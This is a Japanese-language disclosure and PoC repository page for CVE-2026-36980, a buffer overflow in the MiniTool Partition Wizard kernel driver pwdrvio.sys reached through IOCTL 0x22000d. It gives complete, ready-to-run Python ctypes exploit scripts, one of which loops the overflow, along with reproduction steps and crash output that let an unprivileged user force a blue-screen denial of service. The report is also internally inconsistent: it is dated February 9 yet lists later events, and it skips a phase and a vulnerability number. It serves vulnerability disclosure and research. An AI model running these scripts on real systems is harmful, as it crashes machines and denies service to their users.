CVE-2026-36980-Kernel-BSOD-DoS-PoC

プロジェクト日付: 2026年2月 / pwdrvio.sys カーネルドライバーの IOCTL ハンドラーにバッファオーバーフローの脆弱性を発見しました。この脆弱性により、特権を持たないローカルの攻撃者がカーネルプールのメモリを破壊し、即座にシステムクラッシュ(BSOD)およびサービス拒否(DoS)を引き起こすことが可能になります。

2026-02-09 ベンダーに通知
2026-03-05 ベンダーが確認
2026-03-05 MITRE に CVE を申請
2026-05-10 90日間の調整開示期間を経て公開開示

https://github.com/user-attachments/assets/b53fb5d1-b4d0-4bc6-ad6e-2a321a1d2101

サービス拒否 (DoS) 深刻度: MEDIUM CVSS 3.1 スコア: 5.5 (DoS)
CVSS ベクター文字列:

DoS: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

バッファオーバーフロー — サービス拒否 (CVSS 5.5 - MEDIUM)

ブルースクリーンオブデス(BSOD)を誘発
単独での悪用が可能(デバッガー不要)
IOCTL 0x22000d によるバッファオーバーフローが原因
テストしたすべての構成で一貫したクラッシュが発生

攻撃の前提条件:

対象システムへのローカルアクセス
標準ユーザーアカウント(非管理者)
MiniTool Partition Wizard がインストールされている、またはアンインストール済み(pwdrvio.sys ドライバーが読み込まれている)

悪用結果: DoS - 即時のシステムクラッシュ、サービスの利用不能

脆弱性発見のタイムライン

フェーズ 1: 初期ファジングと BSOD の発見

日付: 2026年2月5日
活動内容: カスタム Python ファザーを使用した体系的なカーネルドライバーのファジング

発見プロセス:

対象の選定:
- Windows 10 VM にインストールされているカーネルドライバーを列挙
- pwdrvio.sys が最古のドライバーであることを特定(タイムスタンプ: 2009年6月16日)
- ドライバーファイル: C:\Windows\System32\drivers\pwdrvio.sys
- デバイスオブジェクト: \\.\PartitionWizardDiskAccesser\0
初期ファジング:
- ctypes を使用してドライバーとやり取りする Python ファザーを開発
- WriteFile/DeviceIoControl を介してドライバーデバイスにランダム化されたデータを送信
- 結果: 複数のブルースクリーンオブデス(BSOD)が発生

検証ツールの有効化:

クラッシュ検出を強化するために Driver Verifier を有効化

verifier /standard /driver pwdrvio.sys

検証ツールの構成:

Verifier Flags: 0x001209bb
Standard Flags Enabled:
  [X] Special pool
  [X] Force IRQL checking  
  [X] Pool tracking
  [X] I/O verification
  [X] Deadlock detection
  [X] DMA checking
  [X] Security checks
  [X] Miscellaneous checks
  [X] DDI compliance checking

フェーズ 2: WinDbg カーネルデバッグ環境の構築

日付: 2026年2月5日〜6日
活動内容: 根本原因分析のためのカーネルデバッグ環境を構築

セットアップ手順:

VMware シリアルポートの構成:

VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓

ゲスト OS の構成:

REM Administrator Command Prompt
bcdedit /debug on
bcdedit /dbgsettings serial debugport:1 baudrate:115200
shutdown /r /t 0

ホスト側の WinDbg 接続:

WinDbg → File → Attach to Kernel
├─ Port: \\.\pipe\com_1
├─ Baud Rate: 115200
├─ Pipe: ✓
└─ Reconnect: ✓

Result: "Kernel Debugger connection established."

フェーズ 3: 根本原因分析 - 任意書き込みの発見

日付: 2026年2月6日
活動内容: カーネルへの任意書き込みプリミティブを特定

分析手順:

モジュール分析:

1: kd> lm m pwdrvio
start             end                 module name
fffff805`315f0000 fffff805`315f8000   pwdrvio  (Jun 16 2009)

1: kd> !drvobj pwdrvio 2
Driver object (fffff805`XXXXXXXX) is for:
 \Driver\pwdrvio

DriverEntry:   fffff805`315f6008
DriverUnload:  fffff805`315f1060

Dispatch Routines:
[00] IRP_MJ_CREATE                      fffff805`315f108c
[02] IRP_MJ_CLOSE                       fffff805`315f12f8
[03] IRP_MJ_READ                        fffff805`315f16c4
[04] IRP_MJ_WRITE                       fffff805`315f1564  ← Target
[0e] IRP_MJ_DEVICE_CONTROL              fffff805`315f1404

脆弱な命令の発見:

書き込みハンドラーにブレークポイントを設定:
```
1: kd> bp pwdrvio+0x1641
1: kd> g

Breakpoint 0 hit
pwdrvio+0x1641:
fffff805`315f1641 498943f0        mov qword ptr [r11-10h],rax
```
重大な発見: 任意書き込みプリミティブを特定!
- この命令はカーネルポインター(RAX)をアドレス [R11-0x10] に書き込む
- R11 はスタックフレームからロードされる: mov r11, qword ptr [rbp+0xB8h]
- 書き込み先アドレスに対する検証は一切行われない
レジスタ状態の分析:

フェーズ 4: UAF から任意書き込みへの分析

日付: 2026年2月6日〜7日
活動内容: Use-After-Free から write-what-where 状態に至る脆弱性を追跡

メモリ破壊の連鎖:

IRP の割り当て:

0: kd> !pool @rbp
Pool page ffffe60f84c38610 region is Special pool
*ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+
Pooltag Irp+ : I/O verifier allocated IRP packets

バッファの関係性:
```
0: kd> r rsi
rsi=ffffe60f828df900  ← User buffer location

0: kd> ? @rbp - @rsi
Evaluate expression: 35823344 = 00000000`02229ef0  ← 35MB difference!
```
分析: ユーザーバッファは RBP フレームからは直接アクセスできない
- RBP はカーネルプール内の IRP 構造体を指している
- ユーザーバッファは別のメモリ領域にある
- RBP+0xB8 オフセットはユーザーが制御するバッファを指していない

Use-After-Free の状態:

このドライバーは IRP 構造体にダングリングポインターを保持している:

// Ghidra decompilation (pwdrvio+0x1564)
longlong lVar1 = *(longlong *)(param_2 + 0xb8);  // Load from IRP

// No validation!
lVar5 = IoBuildAsynchronousFsdRequest(...);

// Write to [lVar1 - 0x10]
*(code **)(lVar3 + -0x10) = FUN_00011364;  // Arbitrary write!

フェーズ 6: サービス拒否 (DoS) の特定

日付: 2026年2月8日
活動内容: 単独で悪用可能な DoS 脆弱性を発見

発見の過程:

IOCTL ファジング:
- 不正なバッファを使用してさまざまな IOCTL コードをテスト
- IOCTL 0x22000d が脆弱であることを特定

クラッシュの仕組み:

# Vulnerable parameters
TARGET_IOCTL = 0x22000d

input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)
fake_output_length = 8192  # Driver trusts this value!

DeviceIoControl(handle, TARGET_IOCTL, input_buf, 1024,
                real_output_buffer, fake_output_length, ...)

ドライバーの動作:
- ドライバーはユーザーが指定した出力バッファ長を信頼する
- 4 バイトのバッファに 8192 バイトを書き込もうとする
- バッファオーバーフロー → プール破壊 → BSOD

検証ツールの出力:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arg1: 0000000000000091, Corrupted pool allocation
Arg2: fffff805315f1404, Driver code address
Arg3: ffffe60f84c38000, Pool allocation address
Arg4: 0000000000000091, Corruption type

PROCESS_NAME: python.exe

脆弱性 #2: サービス拒否 (DoS)

CWE 分類

CWE-120: 入力サイズをチェックしないバッファコピー
CWE-119: メモリバッファ内の操作の不適切な制限
CWE-248: 未捕捉の例外

脆弱性の詳細

場所: pwdrvio.sys の IOCTL ハンドラー
影響を受ける IOCTL: 0x22000d

トリガーの仕組み:

import ctypes
from ctypes import wintypes

DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
TARGET_IOCTL = 0x22000d

kernel32 = ctypes.windll.kernel32

# Open driver
handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)

# Malicious parameters
input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
real_output_buffer = ctypes.create_string_buffer(4)  # Only 4 bytes!
fake_output_length = 8192  # Claim 8192 bytes!
bytes_returned = wintypes.DWORD(0)

# Trigger overflow
kernel32.DeviceIoControl(handle, TARGET_IOCTL, 
                         input_buf, 1024,
                         real_output_buffer, fake_output_length,  # ← Overflow!
                         ctypes.byref(bytes_returned), None)

クラッシュ時の動作:

Driver Verifier が有効な場合:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)
Arguments:
Arg1: 0000000000000091 - Corrupted pool allocation detected
Arg2: fffff805315f1404 - Driver code address (IOCTL handler)
Arg3: ffffe60f84c38000 - Pool allocation address
Arg4: 0000000000000091 - Special pool pattern corrupted

Analysis:
- Driver attempts to write 8192 bytes to 4-byte buffer
- Pool header corruption detected by verifier
- Immediate bugcheck (BSOD)

Process triggering crash: python.exe (standard user)

Driver Verifier が無効な場合:

SYSTEM_SERVICE_EXCEPTION (3b)
Arguments:
Arg1: 00000000c0000005 - Access violation
Arg2: fffff805315f1404 - Faulting address in pwdrvio.sys
Arg3: ffffXXXXXXXXXXXX - Trap frame
Arg4: 0000000000000000

Result: Blue Screen of Death

完全なコードと悪用方法

コード:

import ctypes
from ctypes import wintypes

# --- Settings ---
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# --- Defines ---
# Windows API Defines
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     wintypes.LPVOID, wintypes.DWORD, ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[!] MiniTool DoS...")
    
    # 1. Connect Driver
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Couldnt Connect.")
        return

    # 2. Preperation
    # IOCTL from Fuzzer
    TARGET_IOCTL = 0x22000d 
    
    # Input: Fiiled 0xFF - 1024 byte (Pointer Poisoning)
    in_size = 1024
    input_buf = (ctypes.c_char * in_size)(*([0xFF] * in_size))
    
    # Output Trap: Standard 4 byte, 8192 byte in Driver
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192 
    bytes_returned = wintypes.DWORD(0)

    print("[+] Wait for BSoD...")

    # 3. Loop (Pool Corruption)
    while True:
        kernel32.DeviceIoControl(
            handle, 
            TARGET_IOCTL, 
            input_buf, 
            in_size, 
            real_output_buffer, 
            fake_output_length, # <--- Vulnerable Point: Driver BufferOverflow
            ctypes.byref(bytes_returned), 
            None
        )

if __name__ == "__main__":
    trigger_bsod()

悪用:

PS C:\Users\standarduser\directory> & "C:\Program Files\Python314\python.exe" .\DoS_PoC.py

概念実証と再現手順

前提条件

テスト環境:

オペレーティングシステム: Windows 10 Home Build 19045.6466
アーキテクチャ: x64
MiniTool バージョン: Partition Wizard 13.5
ドライバー: pwdrvio.sys (2009年6月16日付)
ユーザーアカウント: 標準ユーザー(非管理者)

必要なツール:

LPE 用: WinDbg (Windows デバッガー)、VMware Workstation
DoS 用: ctypes を使用した Python 3.x

再現手順 #1: サービス拒否 (単独)

ステップ 1: ドライバーのインストールを確認

C:\> sc query pwdrvio

SERVICE_NAME: pwdrvio
        TYPE               : 1  KERNEL_DRIVER
        STATE              : 4  RUNNING
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)

ステップ 2: Driver Verifier を有効化 (任意ですが推奨)

REM Administrator Command Prompt
C:\> verifier /standard /driver pwdrvio.sys

REM Verify configuration
C:\> verifier /query

Verifier Flags: 0x001209bb
  Standard Flags:
    [X] 0x00000001 Special pool
    [X] 0x00000002 Force IRQL checking
    [X] 0x00000008 Pool tracking
    [X] 0x00000010 I/O verification
    [X] 0x00000020 Deadlock detection
    [X] 0x00000080 DMA checking
    [X] 0x00000100 Security checks
    [X] 0x00000800 Miscellaneous checks
    [X] 0x00020000 DDI compliance checking

  Driver Verification List:
    MODULE: pwdrvio.sys (load: 1 / unload: 0)

REM Reboot for verifier to take effect
C:\> shutdown /r /t 0

ステップ 3: DoS 悪用スクリプトを作成

dos_exploit.py として保存:

import ctypes
from ctypes import wintypes

# Device path
DEVICE_NAME = r"\\.\PartitionWizardDiskAccesser\0"
kernel32 = ctypes.windll.kernel32

# Windows API definitions
kernel32.CreateFileW.argtypes = [wintypes.LPCWSTR, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.LPVOID, wintypes.DWORD, wintypes.DWORD, 
                                 wintypes.HANDLE]
kernel32.CreateFileW.restype = wintypes.HANDLE

kernel32.DeviceIoControl.argtypes = [wintypes.HANDLE, wintypes.DWORD, wintypes.LPVOID, 
                                     wintypes.DWORD, wintypes.LPVOID, wintypes.DWORD, 
                                     ctypes.POINTER(wintypes.DWORD), wintypes.LPVOID]
kernel32.DeviceIoControl.restype = wintypes.BOOL

def trigger_bsod():
    print("[*] MiniTool pwdrvio.sys DoS Exploit")
    print("[*] Triggering Blue Screen of Death...")
    
    # Open device
    handle = kernel32.CreateFileW(DEVICE_NAME, 0xC0000000, 3, None, 3, 0, None)
    
    if handle == wintypes.HANDLE(-1).value or handle is None:
        print("[-] Failed to open driver")
        print("[-] Ensure MiniTool Partition Wizard is installed")
        return
    
    print("[+] Driver opened successfully")
    
    # Vulnerable IOCTL code
    TARGET_IOCTL = 0x22000d
    
    # Input buffer: 1024 bytes of 0xFF
    input_buf = (ctypes.c_char * 1024)(*([0xFF] * 1024))
    
    # Output buffer: Only 4 bytes (but claim 8192!)
    real_output_buffer = ctypes.create_string_buffer(4)
    fake_output_length = 8192  # Driver trusts this value → Overflow!
    bytes_returned = wintypes.DWORD(0)
    
    print("[!] Sending malicious IOCTL...")
    print("[!] System will crash in 3...2...1...")
    
    # Trigger buffer overflow → BSOD
    kernel32.DeviceIoControl(
        handle, 
        TARGET_IOCTL, 
        input_buf, 
        1024, 
        real_output_buffer, 
        fake_output_length,  # ← Vulnerability trigger
        ctypes.byref(bytes_returned), 
        None
    )
    
    # This line will never execute
    print("[*] If you see this, the exploit failed")

if __name__ == "__main__":
    trigger_bsod()

ステップ 4: 悪用コードを実行 (標準ユーザー)

C:\> whoami
desktop-lfkkhu2\standard_user

C:\> python dos_exploit.py
[*] MiniTool pwdrvio.sys DoS Exploit
[*] Triggering Blue Screen of Death...
[+] Driver opened successfully
[!] Sending malicious IOCTL...
[!] System will crash in 3...2...1...

[System immediately crashes with BSOD]

期待される結果:

以下の停止コードによるブルースクリーン:

DRIVER_VERIFIER_DETECTED_VIOLATION (c4)

または

SYSTEM_SERVICE_EXCEPTION (3b)

検証: システムクラッシュにより DoS 脆弱性が確認される

MiniTool ソフトウェア:

Product:               MiniTool Partition Wizard
Version:               13.5
Installation Path:     C:\Program Files\MiniTool Partition Wizard
Driver Path:           C:\Windows\System32\drivers\pwdrvio.sys
Driver Date:           June 16, 2009 (0x4A36F8D1)
Driver Size:           32,256 bytes

テストツール:

WinDbg Version:        10.0.29507.1001 AMD64
Python Version:        3.x with ctypes
Compiler:              x86_64-w64-mingw32-gcc (MinGW)
Verifier:              Windows Driver Verifier (Standard flags)

影響を受けるバージョン

脆弱性が確認されたバージョン

主な対象製品:

MiniTool Partition Wizard 13.5
pwdrvio.sys を使用しているすべての旧バージョン

ドライバーの詳細:

File Name:          pwdrvio.sys
File Version:       [Not available]
File Size:          32,256 bytes (31.5 KB)
Time Stamp:         0x4A36F8D1 (June 16, 2009, 04:43:45 UTC)
Digital Signature:  [Signed by vendor]
Device Name:        \\.\PartitionWizardDiskAccesser\0
Service Name:       pwdrvio
Load Order:         Boot Start (SERVICE_BOOT_START)

影響を受ける可能性がある製品

同じドライバーを使用している可能性がある他の MiniTool 製品:

MiniTool Power Data Recovery
MiniTool Partition Wizard Bootable Edition
MiniTool ShadowMaker

注記: 各製品は確認のため個別にテストする必要があります。

オペレーティングシステムの互換性

テスト済みで脆弱性が確認された OS:

Windows 10 Home Build 19045.6466 (x64)

脆弱である可能性が高い OS (未テスト):

Windows 7 (x64)
Windows 8 / 8.1 (x64)
Windows 10 (すべてのビルド、x64)
Windows 11 (x64)
Windows Server 2008 R2 以降

理由: このドライバーは最新のすべての Windows バージョンと互換性があり、バージョン固有のチェックを含んでいません。

法的免責事項

このリポジトリは、管理された実験室環境における教育、防御的セキュリティ研究、および脆弱性の再現を目的としてのみ提供されます。記載されている情報と概念実証コードは、防御側の担当者、研究者、ベンダーが報告された脆弱性を理解し、修正することを目的としています。明示的な許可なくシステムに対してこのコードを不正にまたは悪意を持って使用することは、適用法令に違反する可能性があります。著者は違法行為を奨励または容認するものではなく、本資料の誤用または損害について一切の責任を負いません。

この脆弱性開示レポートは以下の目的で提供されます:

セキュリティ研究と教育
ベンダーへの通知とパッチ開発
エンドユーザーの保護
学術的および防御的なセキュリティ目的

禁止事項:

コンピュータシステムへの不正アクセス
悪意のある悪用
違法行為全般

研究者は管理された環境において個人所有のシステムのみでテストを実施しました。第三者システムへの不正アクセスは一切行われていません。

レポートバージョン: 1.0
最終更新日: 2026年2月9日

CVE-2026-36980-Kernel-BSOD-DoS-PoC

人気

CVE-2026-36980-Kernel-BSOD-DoS-PoC

脆弱性発見のタイムライン

フェーズ 1: 初期ファジングと BSOD の発見

フェーズ 2: WinDbg カーネルデバッグ環境の構築

フェーズ 3: 根本原因分析 - 任意書き込みの発見

フェーズ 4: UAF から任意書き込みへの分析

フェーズ 6: サービス拒否 (DoS) の特定

脆弱性 #2: サービス拒否 (DoS)

CWE 分類

脆弱性の詳細

完全なコードと悪用方法

概念実証と再現手順

前提条件

再現手順 #1: サービス拒否 (単独)

影響を受けるバージョン

脆弱性が確認されたバージョン

影響を受ける可能性がある製品

オペレーティングシステムの互換性

法的免責事項